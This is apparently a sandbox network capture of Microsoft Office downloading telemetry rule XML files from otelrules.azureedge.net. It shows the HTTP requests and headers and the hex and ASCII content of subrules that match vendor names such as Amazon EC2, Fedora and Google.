2024-11-20 16:41:45 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:44 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:45 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164145Z-1777c6cb7544n7p6hC1TEByvb400000009z000000000h8mv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:45 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:44 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:45 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164145Z-r1d97b99577d6qrbhC1TEBux5s000000094000000000vy97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:45 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:44 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:45 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164145Z-185f5d8b95c68cvnhC1NYCfn7s0000000af000000000peh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:45 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:46 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:47 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164147Z-r1d97b99577656nchC1TEBk98c000000097g000000004s42 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:46 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:47 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164147Z-r1d97b99577sdxndhC1TEBec5n00000009a0000000004k1a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:47 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:47 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:47 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164147Z-185f5d8b95cp7lkfhC1NYC7rpw0000000aq0000000007cg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:47 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:47 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:47 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164147Z-1777c6cb754vxwc9hC1TEBykgw00000009yg0000000008qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:47 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:47 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164147Z-185f5d8b95c96jn4hC1NYCbgp80000000am00000000007cf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:49 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164149Z-185f5d8b95c4hl5whC1NYCeex00000000ae000000000d87m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:49 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164149Z-185f5d8b95cdtclvhC1NYC4rmc0000000ak000000000vb19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:49 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164149Z-185f5d8b95crwqd8hC1NYCps680000000ad000000000vsqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
